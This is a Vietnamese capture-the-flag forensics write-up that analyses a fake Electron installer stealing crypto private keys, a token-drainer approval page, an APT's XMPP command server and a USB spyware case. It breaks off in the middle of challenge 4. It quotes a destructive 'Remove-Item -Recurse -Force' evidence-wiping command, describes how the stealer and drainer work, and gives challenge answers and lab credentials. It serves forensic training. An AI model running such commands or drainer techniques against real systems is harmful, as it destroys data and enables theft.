
| Challenge | Difficulty | Flag |
|---|---|---|
| 1 - Silent Dividend | Medium | 10/10 |
| 2 - Bottle Out | Easy | 10/10 |
| 3 - Whisper Chain | Medium | 7/8 |
| 4 - Paper Ghost | Easy | 9/9 |
| 5 - Poisoned Branch | Medium | 15/15 |
| 6 - Silent Passenger | Hard | 4/20 |
| 7 - Iron Feather | Hard | 17/17 |
| 8 - Borrowed Name | Insane | 12/12 |
1 - Silent Dividend
The story will unfold through the PDFs provided with each challenge’s downloadable ZIP. All characters, locations, and events are fictional. Any resemblance to real people, places, or events is purely coincidental.
Difficulty: Medium
Q1: To which directory does the application copy the files bundled within the extraResources folder?
Yêu cầu: Xác định đường dẫn thư mục mà ứng dụng sao chép các tệp nằm trong thư mục extraResources.
Ban đầu, giải nén file SilentDividend.zip bằng mật khẩu được cung cấp trong DANGER.txt là E9$LQ2@Mr7A!. Bên trong thu được tệp thực thi TrustSettle 1.0.0.exe và file README.md.
Kiểm tra chuỗi nhị phân của TrustSettle 1.0.0.exe, phát hiện chữ ký Nullsoft, cho thấy đây là một bộ cài đặt NSIS Installer. Sử dụng WinRAR để giải nén toàn bộ gói NSIS

Kiểm tra với binwalk mình thấy đây thực chất là file PE có chứa 1 khối dữ liệu nén 7-Zip ở cuối file cụ thể là ngay sau 50KB mã máy của file exe

Vì thế nên mình dùng 7-Zip để giải nén file exe này ra

Bên trong chứa rất nhiều file thư viện .dll nhưng mình chỉ chú ý đến 2 folder là
extraResources/(chứa.env,api.txt,lua51.dll,luajit.exe)resources/app.asar(gói mã nguồn chính của ứng dụng Electron)

Sử dụng @electron/asar để unpack gói lưu trữ app.asar
1 | npx @electron/asar extract resources/app.asar app_source/ |
Tiến hành kiểm tra tệp app_source/preload.js

Ứng dụng duyệt qua tất cả các file trong extraResources và copy thẳng vào C:\Users\Public. Điều này cũng trùng khớp với chỉ dẫn trong README.md yêu cầu người dùng cấu hình ví vào .env tại thư mục này
C:\Users\Public
Q2: Which Win32 structure defines the format of the buffer returned by the Lua script when monitoring directory changes?
Yêu cầu: Xác định tên cấu trúc Win32 API định nghĩa định dạng bộ đệm (buffer) trả về khi script Lua thực hiện giám sát các thay đổi trong thư mục.
Tại dòng 23 của preload.js, ứng dụng kích hoạt một tiến trình ngầm nhằm thực thi script Lua đã được sao chép vào C:\Users\Public

Tệp api.txt thực chất là một mã nguồn LuaJIT bị làm rối (obfuscated), sử dụng thư viện FFI (Foreign Function Interface) để liên kết với các hàm native trong thư viện kernel32.dll. Mục tiêu của script là lắng nghe sự kiện ghi/thay đổi tệp .env tại C:\Users\Public để đánh cắp Private Key ngay khi nạn nhân lưu lại.
Trong lập trình hệ thống Windows, hàm Win32 chuẩn được sử dụng để theo dõi các sự kiện trong hệ thống tệp là ReadDirectoryChangesW
1 | BOOL ReadDirectoryChangesW( |
Theo mô tả của Microsoft Win32 API, tham số lpBuffer là con trỏ trỏ tới bộ đệm chứa kết quả đọc được định dạng theo cấu trúc FILE_NOTIFY_INFORMATION. Mỗi phần tử trong cấu trúc này chứa thông tin về loại thay đổi (Action), độ dài tên file (FileNameLength) và tên tệp bị tác động (FileName)
FILE_NOTIFY_INFORMATION
Q3: Which Win32 API is used by the Lua script to send an HTTP request to the remote server?
Yêu cầu: Xác định Win32 API được script Lua sử dụng để gửi HTTP request chứa dữ liệu đánh cắp về máy chủ C2.
Phân tích tiếp phần giao tiếp mạng của script LuaJIT (api.txt). Để tránh bị phát hiện bởi các phần mềm giám sát thông thường, malware không sử dụng socket thuần hay PowerShell mà gọi trực tiếp các API của hệ thống mạng Windows thông qua winhttp.dll (Windows HTTP Services).
Luồng thực thi WinHTTP chuẩn để gửi dữ liệu bao gồm chuỗi API:
WinHttpOpen: Khởi tạo phiên làm việc HTTP.WinHttpConnect: Thiết lập kết nối đến máy chủ C2 từ xa.WinHttpOpenRequest: Khởi tạo HTTP request header (phương thức POST/GET).WinHttpSendRequest: Gửi HTTP request cùng payload dữ liệu tới máy chủ.WinHttpReceiveResponse: Đợi và nhận phản hồi từ server.
API chịu trách nhiệm gửi request và đẩy dữ liệu lên máy chủ điều khiển là WinHttpSendRequest.
WinHttpSendRequest
Q4: Which smart contract function does the Electron application invoke to retrieve the decryption key for the encrypted payload?
Yêu cầu: Xác định hàm Smart Contract mà ứng dụng Electron gọi để lấy khóa giải mã payload.
Quay lại kiểm tra tệp preload.js trong thư mục app_asar_extracted/. Từ dòng 26 đến 36, mã độc khai báo các thông tin kết nối Web3

Tại dòng 211–221, hàm queryRemoteState() thực hiện gọi hàm này thông qua đối tượng hợp đồng ethers.Contract

Giá trị state (bytes32) trả về từ hàm này sau đó được truyền trực tiếp vào hàm decryptEmbeddedData(ENCRYPTED_DATA, state) đóng vai trò là khóa giải mã (encryptionKey). Do đó, hàm được invoke trên contract là resolveState()
resolveState()
Q5: Investigate the smart contract using its address, analyze its logic, and recover the flag by decoding the encrypted data.
Yêu cầu: Điều tra Smart Contract tại địa chỉ 0xbB63Ae28E4f75C9392bae69cDf5394Ca0ACdA6B1, phân tích logic để lấy khóa và giải mã chuỗi ENCRYPTED_DATA để tìm flag theo định dạng ****=******** **********_*********=**-****.
Trong preload.js, chuỗi dữ liệu bị mã hóa được nhúng tĩnh ở dòng 40

Kiểm tra địa chỉ 0xbB63Ae28E4f75C9392bae69cDf5394Ca0ACdA6B1 trên Sepolia Etherscan thấy contract chưa được xác minh (unverified source code). Sử dụng RPC để trích xuất bytecode bằng eth_getCode


Cấu trúc mã máy của phép so sánh hàm trong EVM luôn có dạng:
1 | 80 63 [4-byte-selector] 14 61 [địa-chỉ-nhảy] 57 |
Trong đó:
80: OpcodeDUP1(nhân đôi selector mà người gọi gửi tới).63: OpcodePUSH4(ngay sau63chính là 4 byte của Function Selector).14: OpcodeEQ(so sánh bằng).61 xxxx 57:PUSH2vàJUMPI(nếu đúng hàm thì nhảy tới đoạn code của hàm đó).
Phân tích dispatcher của bytecode, trích xuất được 5 function selector dạng 4-byte
0x34104e100x39435b000x6c49b42d0x77b3774c0xf52a8e27
Thực hiện gọi thử nghiệm từng selector qua eth_call. Khi gọi selector, contract trả về chuỗi 32 byte và selector đúng là 0x77b3774c sau khi mình thử từng cái

Phân tích hàm giải mã decryptEmbeddedData() trong preload.js:
magicConstant = 0x42rotationBits = 7- Thuật toán giải mã từng byte
1 | step1 = encryptedByte ^ keyByte |
Viết script Python để giải mã toàn bộ khối ENCRYPTED_DATA
1 | enc_data = bytes.fromhex("560c325bdd0aeea2cd2690a2ed1c1b4a28deca7ac2a40ce8d2725d539a950ca8f4a4bcf375806c36532258a0cf16c19c12989e0aa0e25a72be241da7d2f74cfa2c4c4e1bbfc6204207fe5c801d201f5af84864f0") |
Kết quả trả về

Chuỗi flag khớp định dạng ****=******** **********_*********=**-**** là phần tham số xác thực: AUTH=NAPOLEON SETTLEMENT_REFERENCE=SR-4821
AUTH=NAPOLEON SETTLEMENT_REFERENCE=SR-4821
Q6: Which environment variable corresponds to the directory where the application copies the HTML file from its package?
Yêu cầu: Xác định biến môi trường Windows tương ứng với thư mục mà ứng dụng sao chép tệp HTML từ package ra ngoài.
Trong preload.js, dòng 230–233 ghi tệp settlement.html ra thư mục tài nguyên ngoài

Đồng thời, khi payload độc hại được giải mã ở Câu 5 thực thi, lệnh command line trực tiếp gọi
1 | start "" "%TEMP%\settlement.html" |
Lệnh này sử dụng biến môi trường %TEMP% (thư mục tạm của người dùng hiện tại, thường là C:\Users\<User>\AppData\Local\Temp) để trỏ đến tệp HTML lừa đảo và hiển thị giao diện cho nạn nhân.
%TEMP%
Q7: What token function does the HTML page call to request spending permission?
Yêu cầu: Xác định hàm ERC-20 token mà trang HTML gọi để yêu cầu quyền chi tiêu tài sản từ ví người dùng.
Mở tệp giao diện lừa đảo src/settlement.html. Trang web này giả mạo một bản thỏa thuận điều khoản dịch vụ (“Terms of Service Agreement”), yêu cầu người dùng kết nối ví và bấm nút “I Agree”.
Kiểm tra đoạn mã JavaScript xử lý sự kiện trong thẻ <script> ở cuối file, tại hàm requestApproval() (dòng 368–377)

Hàm được gọi trên hợp đồng Token (MOCK_TOKEN_ADDRESS) là hàm chuẩn ERC-20 approve nhằm ủy quyền cho hợp đồng của kẻ tấn công (X0_CONTRACT_ADDRESS) rút toàn bộ số dư của nạn nhân.
approve()
Q8: What is the exact token amount passed to the approval call?
Yêu cầu: Xác định giá trị số chính xác được truyền vào lệnh gọi approve.
Quan sát dòng 373–375 của settlement.html

Biến unlimitedAmount được gán hằng số ethers.MaxUint256. Trong thư viện ethers.js, MaxUint256 là giá trị nguyên không dấu 256-bit lớn nhất có thể biểu diễn trong máy ảo EVM $(2^{256} - 1)$
1 | 115792089237316195423570985008687907853269984665640564039457584007913129639935 |
Đây là kỹ thuật điển hình của các hợp đồng Drainer/Phishing nhằm chiếm trọn quyền rút vô hạn token khỏi tài khoản nạn nhân mà không cần xin cấp quyền lại
115792089237316195423570985008687907853269984665640564039457584007913129639935
Q9: What ethers.js v6 provider class is used to connect to the browser wallet?
Yêu cầu: Xác định class provider của thư viện ethers.js phiên bản 6 được dùng để kết nối với ví trình duyệt (MetaMask).
Tại phần đầu của settlement.html, thư viện ethers.js phiên bản 6 được nhúng qua CDN

Trong hàm connect() (dòng 342), đối tượng provider được khởi tạo như sau

Trong khi ethers.js v5 sử dụng ethers.providers.Web3Provider, thì ở ethers.js v6, class chuẩn để bọc đối tượng EIP-1193 (window.ethereum) của các ví extension là BrowserProvider
BrowserProvider
Q10: Analyze the HTML page to uncover a smart contract reference. Investigate the contract’s logic and determine how to interact with it to recover the hidden flag.
Yêu cầu: Phân tích trang HTML để tìm địa chỉ smart contract mục tiêu, điều tra logic của contract và xác định cách tương tác nhằm khôi phục flag ẩn theo định dạng **.****,*.****.
Trong settlement.html (dòng 287), địa chỉ của hợp đồng Drainer được khai báo

Tiến hành đọc các storage slot của contract 0x69Bf5b... trên mạng Sepolia bằng eth_getStorageAt bằng cách chạy thẳng trên trình duyệt
1 | async function getStorage() { |

Phân tích mã bytecode đã dịch ngược (decompiled):
- Hàm
0x282940a7(getHiddenOwner) trả về một địa chỉ được tính bằng phép XOR bit giữa hai slot lưu trữ: $$\text{Hidden Owner} = \text{Slot 1} \oplus \text{Slot 2}$$ Tiến hành tính toán phép XOR:
1 | 0x7ccb3a440e383635148b237df8bb22dff0b594425beae88d6e1623df0bc7669b |

Do đó, địa chỉ chủ sở hữu ẩn (Hidden Owner) là: 0xebfc1ed96b1c6b940fb6b06359ff4a6776df7a9a
- Kiểm tra hàm
0xf8e6e11f: Hàm này nhận vào một tham số kiểuaddress.- Nếu địa chỉ truyền vào khác Hidden Owner, contract sẽ revert chuỗi:
not quite - keep analyzing. - Nếu truyền vào chính xác địa chỉ Hidden Owner
0xebfc1ed96b1c6b940fb6b06359ff4a6776df7a9a, contract sẽ giải mã và trả về chuỗi flag.
- Nếu địa chỉ truyền vào khác Hidden Owner, contract sẽ revert chuỗi:
Thực hiện gọi hàm qua Node.js
1 | const res = await rpc('eth_call', [{ |

Phản hồi trả về chuỗi hex ABI-encoded
1 | 0x000...00020000...00000e35312e353034392c302e303334380000... |
Giải mã 14 byte chuỗi ASCII (0x35312e353034392c302e30333438)

Đây là tọa độ GPS hợp lệ (khu vực London), đúng theo định dạng
51.5049,0.0348
2 - Bottle Out
The story will unfold through the PDFs provided with each challenge’s downloadable ZIP. All characters, locations, and events are fictional. Any resemblance to real people, places, or events is purely coincidental. RDP into the analysis VM. The credentials are Administrator:Holmes2026!
Difficulty: Easy
Q1: What are the remote address and port of the VPN server that the user connected to? (IPv4:port)?
Yêu cầu: Xác định địa chỉ IP và cổng của máy chủ VPN mà người dùng đã kết nối.
Đầu tiên, sử dụng FTK Imager để duyệt cấu trúc file hệ thống từ file ảnh đĩa .E01. Quá trình kiểm tra thư mục [root]/Users/spur/OpenVPN cho thấy thư mục gốc đã bị xóa rỗng

Tuy nhiên, bằng cách chuyển sang phân vùng [orphan], mình phát hiện tệp nhật ký spur.log

Khi trích xuất và đọc file log này, thông tin kết nối UDPv4 tới máy chủ VPN của kẻ tấn công được ghi nhận

18.156.81.166:7577
Q2: What Certificate Authority (CA) issued the VPN client certificate? (string)
Yêu cầu: Xác định tên của Tổ chức phát hành chứng chỉ (CA) đã cấp phát chứng chỉ cho VPN client
Tiếp tục phân tích file spur.log đã thu thập được ở câu trước. Cuộn xuống phần quy trình xác thực chứng chỉ (Certificate Authentication), log sẽ hiển thị chuỗi xác minh (verify) chứa chi tiết về nhà phát hành. Từ dòng VERIFY OK: depth=1, ta có thể trích xuất được tên của CA

NPLN-CA
Q3: What is the IP address assigned to the user by the VPN server? (IPv4 address)
Yêu cầu: Xác định địa chỉ IP nội bộ mà máy chủ VPN đã cấp phát cho máy người dùng.
Vẫn trong file spur.log, cuộn xuống phần thông báo MANAGEMENT liên quan đến trạng thái cấp phát mạng (IP routing/assignment). Tại đây, máy chủ VPN sẽ gửi cấu hình IP cục bộ (tun/tap) để gán cho client

10.129.175.2
Q4: It seems that the PC is remotely managed. What is the name and version of the installed remote management agent? (Agent Name v.X.Y.Z)
Yêu cầu: Xác định tên và phiên bản của phần mềm quản lý từ xa (RMM) đã được cài đặt trên máy.
Duyệt cây thư mục hệ thống tại [root]/Program Files/TacticalAgent, phát hiện công cụ quản lý từ xa Tactical RMM đã được cài đặt.

Để lấy thông tin chính xác về phiên bản, tiến hành trích xuất file thực thi tacticalrmm.exe ra máy phân tích. Sử dụng công cụ exiftool được cài sẵn trong thư mục Tool của VM

Ngoài ra có thể nhanh hơn bằng cách xem trực tiếp properties của file thực thi

Tactical RMM Agent v.2.11.0
Q5: What is the domain the remote management agent connects to? (fully qualified domain name)
Yêu cầu: Xác định Tên miền đầy đủ (FQDN) mà agent RMM kết nối tới.
Phần mềm Tactical RMM hoạt động dưới dạng một Windows Service, do đó cấu hình của nó thường được lưu trữ trong Registry thay vì file text thông thường
Sử dụng Autopsy để mount file Registry Hive SOFTWARE (nằm tại [root]/Windows/System32/config/SOFTWARE). Chuyển sang tab Application (Registry Viewer) và truy cập theo đường dẫn HKLM\SOFTWARE\TacticalRMM. Tại đây, khóa ApiURL lưu trữ Tên miền truy cập chính của máy chủ điều khiển

api.antimattercommunication.xyz
Q6: What is the remote management agent Authentication Token? (SHA-1 Hash)
Yêu cầu: Xác định mã Token xác thực (dạng SHA-1) của agent RMM.
Ngay bên dưới khóa ApiURL trong cùng nhánh Registry HKLM\SOFTWARE\TacticalRMM vừa tìm được ở câu trên, hệ thống lưu trữ một khóa tên là Token. Đây là chuỗi mã băm SHA-1 được sử dụng để xác thực Agent với máy chủ C2 một cách tự động

98ec588da683c01820232943a6151e8e7772419b
Q7: What is the first of the three commands executed in Operation Vanish? (*********** ************ :******* ******** ******)
Yêu cầu: Khôi phục lệnh đầu tiên trong chuỗi lệnh PowerShell dùng để xóa dấu vết (Operation Vanish) dựa trên độ dài ký tự ẩn.
Vì file nhật ký PowerShell (ConsoleHost_history.txt) đã bị ghi đè hoặc xóa hoàn toàn khỏi đĩa cứng, ta buộc phải dùng kỹ thuật phân tích độ dài chuỗi (wildcard matching) kết hợp với các dữ kiện hiện có:
***********(11 ký tự): Khớp lệnh PowerShell ->Remove-Item************(12 ký tự): Khớp tham số đường dẫn tuyệt đối ->-LiteralPath*:\*****\****\*****: Khớp đường dẫn thư mục chat (C-Users-spur-Gajim) ->C:\Users\spur\Gajim********(8 ký tự): Khớp tham số xóa đệ quy ->-Recurse******(6 ký tự): Khớp tham số ép buộc ->-Force
Ghép các thành phần này lại, ta tái tạo được lệnh xóa hoàn chỉnh.
Remove-Item -LiteralPath C:\Users\spur\Gajim -Recurse -Force
Q8: What is the account used to connect to the instant messaging server through the software previously identified? (email address)
Yêu cầu: Xác định tài khoản (định dạng email) được sử dụng để đăng nhập vào phần mềm nhắn tin Gajim.
Quay lại khu vực thư mục [orphan], tìm thấy các file cơ sở dữ liệu bị xóa thuộc về thư mục UserData của ứng dụng Gajim. Khi trích xuất và đọc các cơ sở dữ liệu thô này bằng SQLite Viewer hoặc trình đọc Text, ta phát hiện tài khoản JID (Jabber ID) có định dạng giống hệt email được sử dụng làm danh tính liên lạc chính

Q9: What is the password for that account? (string)
Yêu cầu: Xác định mật khẩu bản rõ của tài khoản nhắn tin trên.
Từ thông tin tài khoản thu thập được, tiếp tục trích xuất file Settings.sqlite nằm trong thư mục UserData bị mồ côi của Gajim

Mở cơ sở dữ liệu này và chạy truy vấn tìm kiếm chuỗi (string search) với từ khóa “password” hoặc duyệt bảng cấu hình. Mật khẩu của tài khoản XMPP được lưu trữ dưới dạng bản rõ (plaintext) trong database này

spur999!*
Q10: What is the full name of the jailer? (FirstName LastName)
Yêu cầu: Xác định họ và tên đầy đủ của kẻ bắt cóc/tấn công.
Để tìm định danh thực sự của kẻ tấn công, tiến hành rà soát các file log còn sót lại trong thư mục [orphan] và mình tìm thấy file log duy nhất còn lại là 000008.log

Trong file 000008.log (thực chất là một file LevelDB lưu trữ bộ nhớ đệm của trình duyệt web), xuất hiện dấu vết truy cập Outlook. Kẻ tấn công đã vô tình để lộ địa chỉ email của mình là Abel.stokes@hotmail.com khi duyệt web trên máy nạn nhân. Từ chuỗi định danh này, ta dễ dàng suy ra họ tên đầy đủ

Abel stokes
3 - Whisper Chain
The story will unfold through the PDFs provided with each challenge’s downloadable ZIP. All characters, locations, and events are fictional. Any resemblance to real people, places, or events is purely coincidental.
Difficulty: Medium
Q1: List all Subject Alternative Names present in the server’s TLS certificate. Report the primary hostname first, followed by the remaining SANs in alphabetical order. (fqdn,fqdn,fqdn,fqdn)
Kiểm tra các cổng dịch vụ đang mở trên server, phát hiện port 443 (HTTPS) đang hoạt động nên mình bắt đầu trinh sát từ đây:

Dùng port 443 đã tìm được để kết nối tới server và lấy thông tin thì nhận được danh sách các Subject Alternative có trong kết quả trả về

murknet.htb,command.murknet.htb,groups.murknet.htb,upload.murknet.htb
Q2: List the names of all public channels available on the XMPP server, sorted alphabetically. (string,string,string,string)
Do không thể dùng Gajim và Pidgin để kết nối tới server do lỗi cert nên mình dùng script để thay thế kết nối tới server đọc thông tin danh sách các phòng chat
1 | import logging |
Infrastructure,Random,Resources,Rules
Q3: Investigate the conversations to find the credentials of one of the APT members. (email address:password)
1 | import asyncio |
Sau khi đã lấy được các cuộc hội thoại mình vào chat [INFRA] để xem các thành viên bàn kế hoạch thì trong lúc bàn bạc 1 thành viên đã vô tình làm lộ các mật khẩu cũ

Và trong đoạn chat [RESOURCES] một thành viên cũng nói đùa về việc tưởng tượng việc bị lộ thông tin đăng nhập thông qua pdf và ngay sau đó người dùng swissclock liền gửi 1 file pdf vì thế mình tiến hành tải file này về và kiểm tra

Kiểm tra sơ bộ với exiftool thì vô tình tác giả đã quên xóa đi phần Author và đã làm lộ email
Kết hợp với các mật khẩu đã lộ mình thấy người dùng này tên là swissclock = đồng hồ thụy sĩ nên có khả năng mật khẩu là TickTock24! = tiếng của đồng hồ

zytglogge88@murknet.htb:TickTock24!
Q4: What is the URL of the social media account used by one of the APT members? (://*******./*****)
Trong một đoạn hội thoại, một thành viên đã nhắc đến việc từng xuất bản một trang web về hoạt động của tổ chức nhưng đã gỡ xuống ngay sau đó. Nhận định trang web có thể đã được lưu trữ bản snapshot, mình kiểm tra dịch vụ Wayback Machine:
Kiểm tra với WaybackMachine thì mình thấy có 1 bản ghi vào ngày 5/8/2026 nên tiến hành xem

Truy cập vào thì mình được trang web về các hoạt động của nhóm này và tại phần Attribution, mình tìm thấy thông tin về mạng xã hội của 1 thành viên trong nhóm

Q5: What is the XMR wallet used in the first operation? (string)
Vẫn tiếp tục điều tra với website đã tìm được mình tiến tới phần More artifacts và tìm được script giải mã base64 với key

Còn về việc tìm các đoạn base64 khi mình dùng tài khoản zytglogge88 (swissclock) để rà quét dịch vụ (Service Discovery) trên máy chủ murknet.htb, hệ thống liệt kê một thành phần PubSub (XMPP Publish-Subscribe):
- JID:
command.murknet.htb(Murknet Command Dispatcher) - Gồm 2 kênh phát lệnh (PubSub nodes) tương ứng với 2 chiến dịch:
- Node
op_sparkling(OpSparkling Command Dispatcher) - Node
op_snatch(OpSnatch Command Dispatcher)
- Node
Để lấy các lệnh này, ta gửi gói tin XML chuẩn XMPP PubSub
1 | <iq type='get' to='command.murknet.htb' id='get_snatch'> |
Vì vậy mình dùng script sau để làm việc này
1 | import socket |
Trước khi biết tên node nào tồn tại trên server mình cần khám phá các Node có tồn tại
1 | <iq type='get' to='command.murknet.htb' id='disco_1'> |
Server phản hồi

1 | <iq from='command.murknet.htb' to='zytglogge88@murknet.htb/POFGMJcFO8o7' type='result' id='disco_1'> |
Lấy toàn bộ Items/Lệnh từ một Node
1 | <iq type='get' to='command.murknet.htb' id='get_items_snatch'> |
Server phản hồi

1 | <iq type='result' from='command.murknet.htb' to='zytglogge88@murknet.htb/murknet' id='get_items_snatch'> |
Vì thế mình tiến hành với lần lượt các Node và lấy các đoạn base64 và tiến hành giải mã với key thì mình lấy được địa chỉ của ví XMR

429x3WVq1ucARGXx6NEwL4Sg4iowfW5ZWMAqEDErLxrWdg4ffkonB5tNxg85BKGjDqDQRfBERANhgf6DnGjjFyDR5L7uwye
Q6: What is the nickname of the APT affiliate who kidnapped Watson? (string)
Do đã biết có thêm 2 phòng private mới là op_snatch và op_sparkling nên mình dùng lại script ở Q3 và bổ sung thêm 2 phòng này vào và tìm được người thực hiện nhiệm vụ bắt cóc này


dynamite
Q7: Where has Watson been kidnapped? (string)
Áp dụng tương tự với Q5 mình dùng script đó tiếp tục giải mã nhưng lúc này chuỗi giải mã không được sạch do sai key
Nên mình đã kiểm tra tiếp trong các nhóm chat vì có thể còn tồn tại các nhóm chat riêng nữa nên mình gửi một gói tin <iq type='set'> tới máy chủ với namespace urn:xmpp:mam:2 để kéo toàn bộ tin nhắn riêng của tài khoản
1 | <iq type='set' id='mam_all'> |

Và mình phát hiện thấy có 2 phiên chat với spur và rattlesnake nên tiến hành lọc riêng ra để kiểm tra
1 | <iq type='set' id='mam_rattlesnake'> |
Và vì tin nhắn quá dài nên sẽ bị phân trang vì thế mình cần dùng xml sau để đọc tiếp đoạn bị cắt
1 | <iq type='set' id='mam_page2'> |
Và mãi đến tầm trang số 3 mình mới tìm được đoạn chat tiết lộ key

Nên mình dùng key SHALLOWBLUE tìm được và giải được đoạn báo cáo mà kẻ bắt cóc gửi về nhóm và tại đây mình thấy được địa điểm bị bắt cóc và địa chỉ bị giam giữ

Victoria Station
Q8: What is the name of the latest operation that the APT is planning, and what is its objective? (Operation name,Objective)
4 - Paper Ghost
The story will unfold through the PDFs provided with each challenge’s downloadable ZIP. All characters, locations, and events are fictional. Any resemblance to real people, places, or events is purely coincidental.
Difficulty: Easy
Q1: The rookie’s first move was a planted USB. When did Clara Voss first connect the device Elias Venn left at her desk? (YYYY-MM-DD hh:mm:ss)
Yêu cầu: Xác định mốc thời gian chính xác (năm-tháng-ngày giờ:phút:giây) khi thiết bị USB độc hại được cắm lần đầu tiên vào máy trạm của Clara Voss.
Để xác định thời điểm một thiết bị lưu trữ USB (USB Mass Storage) được kết nối lần đầu vào hệ thống Windows, phân tích hive Registry SYSTEM. Cụ thể, Windows lưu trữ thông tin phần cứng thiết bị tại nhánh:
1 | SYSTEM\CurrentControlSet\Enum\USBSTOR |
Kiểm tra các subkey dưới nhánh USBSTOR, mình phát hiện thiết bị USB Flash Drive của hãng Lexar vừa được hệ thống nhận diện. Quan sát khung Key Properties ở góc dưới bên trái, trường Last Written Time ghi nhận mốc thời gian thiết bị được nạp cấu hình và kết nối lần đầu vào máy trạm:
1 | SYSTEM\CurrentControlSet\Enum\USBSTOR\Disk&Ven_Lexar&Prod_USB_Flash_Drive&Rev_2.00\RS200000000627E4&0 |

2026-08-19 15:35:50
Q2: Every USB carries a serial scar. What serial number did the dropped device leave behind? (string)
Yêu cầu: Xác định số serial duy nhất của chiếc USB độc hại mà kẻ tấn công đã sử dụng.
Chuẩn giao tiếp USB Mass Storage Device Class quy định mỗi thiết bị lưu trữ có thể mang một chuỗi định danh duy nhất (iSerialNumber). Trên hệ điều hành Windows, số serial này được ghi nhận trực tiếp trong tên subkey của thiết bị dưới nhánh Enum\USBSTOR hoặc Enum\USB.
Tại khóa Registry:
1 | SYSTEM\CurrentControlSet\Enum\USBSTOR\Disk&Ven_Lexar&Prod_USB_Flash_Drive&Rev_2.00\RS200000000627E4&0 |

Tên subkey của thiết bị là RS200000000627E4&0. Hậu tố &0 là chỉ số instance (Device Instance ID) do Windows gán để phân biệt các cổng hoặc instance của thiết bị. Trong các bài điều tra số (DFIR) trên hệ thống Windows, chuỗi Device Instance ID này đại diện cho serial number của thiết bị lưu lại trên hệ thống.
RS200000000627E4&0
Q3: VON BORK’s payload hid inside a fake update package Elias delivered. What is the full path of the payload? (full path of file, starting with drive letter)
Yêu cầu: Xác định đường dẫn đầy đủ của file payload độc hại ngụy trang trong gói cập nhật, bắt đầu bằng ký tự ổ đĩa.
Khi thiết bị USB được cắm vào, Windows tự động gán cho phân vùng USB ký tự ổ đĩa tiếp theo khả dụng (E:\).
Tiến hành kiểm tra các dấu vết thực thi chương trình trong C:\Users\cvoss\NTUSER.DAT thông qua khóa UserAssist và đối chiếu với cơ sở dữ liệu SRUDB.dat (System Resource Usage Monitor). Đường dẫn khóa UserAssist trong Registry:
1 | SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD...}\Count |

Sau đó tiến hành decode ROT13

E:\CO-LT-0469 update package\update.exe
Q4: Believing it a routine update, Voss launched the spyware. At what exact timestamp did she execute the malicious package? (YYYY-MM-DD hh:mm:ss)
Yêu cầu: Xác định mốc thời gian chính xác nạn nhân Clara Voss kích hoạt thực thi gói cập nhật độc hại.
Từ kết quả phân tích ở Câu 3, ta đã xác định được đường dẫn đầy đủ của file payload độc hại là
1 | E:\CO-LT-0469 update package\update.exe |
Để tìm mốc thời gian chính xác khi người dùng nhấp đúp khởi chạy file này từ giao diện Windows Explorer, ta kiểm tra lại artifact UserAssist trong NTUSER.DAT
Khi chọn entry này trong Registry Viewer, khung Value Properties ở góc dưới bên trái sẽ tự động giải mã cấu trúc nhị phân và trích xuất trường thời gian thực thi lần cuối (Time)

2026-08-19 15:36:25
Q5: DIOGENES tagged the USB with an asset name that surfaced as the device name on connection. What was it? (string)
Yêu cầu: Xác định tên nhãn tài sản (asset name / friendly name) của chiếc USB do tổ chức gắn thẻ, hiển thị khi thiết bị được cắm vào.
Khi một thiết bị lưu trữ ngoài kết nối vào Windows, hệ thống sẽ đọc nhãn ổ đĩa hoặc tên Friendly Name từ WPD (Windows Portable Devices) và lưu trữ cấu hình trong Registry hive SOFTWARE:
1 | SOFTWARE\Microsoft\Windows Portable Devices\Devices |
Đồng thời, thông tin này cũng được ánh xạ trong hive SYSTEM:
1 | SYSTEM\CurrentControlSet\Enum\WpdBusEnumRoot\UMB |
Kiểm tra thuộc tính FriendlyName ứng với định danh phần cứng của chiếc USB Lexar (RS200000000627E4&0)

CO-USB-0091
Q6: Once C2 Access was live, VON BORK’s listening post woke the microphone to spy on Voss’s meetings. At what time did capture begin? (YYYY-MM-DD hh:mm:ss)
Yêu cầu: Xác định thời điểm mã độc kích hoạt microphone để nghe lén các cuộc hội thoại của nạn nhân.
Trên các phiên bản Windows hiện đại, phân hệ CapabilityAccessManager (giám sát quyền riêng tư phần cứng) theo dõi việc các ứng dụng truy cập Microphone và Webcam. Dữ liệu này được lưu trữ trong hive SOFTWARE:
1 | NTUSER.DAT\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone\NonPackaged |
Kiểm tra subkey của ứng dụng Desktop độc hại:

Trong khóa này có hai giá trị FILETIME quan trọng:
LastUsedTimeStart: Mốc thời gian bắt đầu sử dụng microphone.LastUsedTimeStop: Mốc thời gian kết thúc phiên ghi âm.Lấy dãy 8-byte của
LastUsedTimeStarttừ khung Hex bên dưới (17F5D7BBF02FDD01), đưa vào CyberChef với recipe Windows Filetime to UNIX Timestamp (Hex little endian) để giải mã

2026-08-19 15:38:08
Q7: VON BORK mapped Voss’s office through her webcam — who came and went, what lay on her desk. For how many seconds did the webcam stream? (number)
Yêu cầu: Xác định thời lượng (tính bằng số giây) mà webcam của máy trạm đã bị kích hoạt ghi hình văn phòng làm việc.
Tương tự như microphone, lịch sử truy cập camera của các ứng dụng Desktop (NonPackaged) được lưu trong Registry:
1 | NTUSER.DAT\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam\NonPackaged\E:#CO-LT-0469 update package#update.exe |

Đọc các giá trị thời gian bắt đầu và kết thúc phiên truyền stream webcam:
LastUsedTimeStart:2026-08-19 15:42:28.681432 UTC
LastUsedTimeStop:2026-08-19 15:44:35.661982 UTC
Tính toán thời lượng stream: $$\Delta t = 15:44:35.661982 - 15:42:28.681432 = 126.980550 \approx 127 \text{ giây}$$
127
Q8: The riverside relay drank Voss’s secrets. How many decimal megabytes of outbound traffic flowed from the compromised machine to the C2? (.***)
Yêu cầu: Xác định dung lượng lưu lượng mạng gửi đi (outbound traffic) từ máy trạm bị xâm nhập về máy chủ C2, tính theo Megabyte thập phân (Decimal Megabytes) với độ chính xác 6 chữ số thập phân.
Cơ sở dữ liệu SRUDB.dat (System Resource Usage Monitor - ESE Database) lưu trữ toàn bộ dữ liệu thống kê mức tiêu thụ tài nguyên và lưu lượng mạng của từng tiến trình qua bảng Network Data Usage (GUID {973F5D5C-1D90-4944-BE8E-24B94231A174}).
Quy trình trích xuất:
- Mở bảng ánh xạ
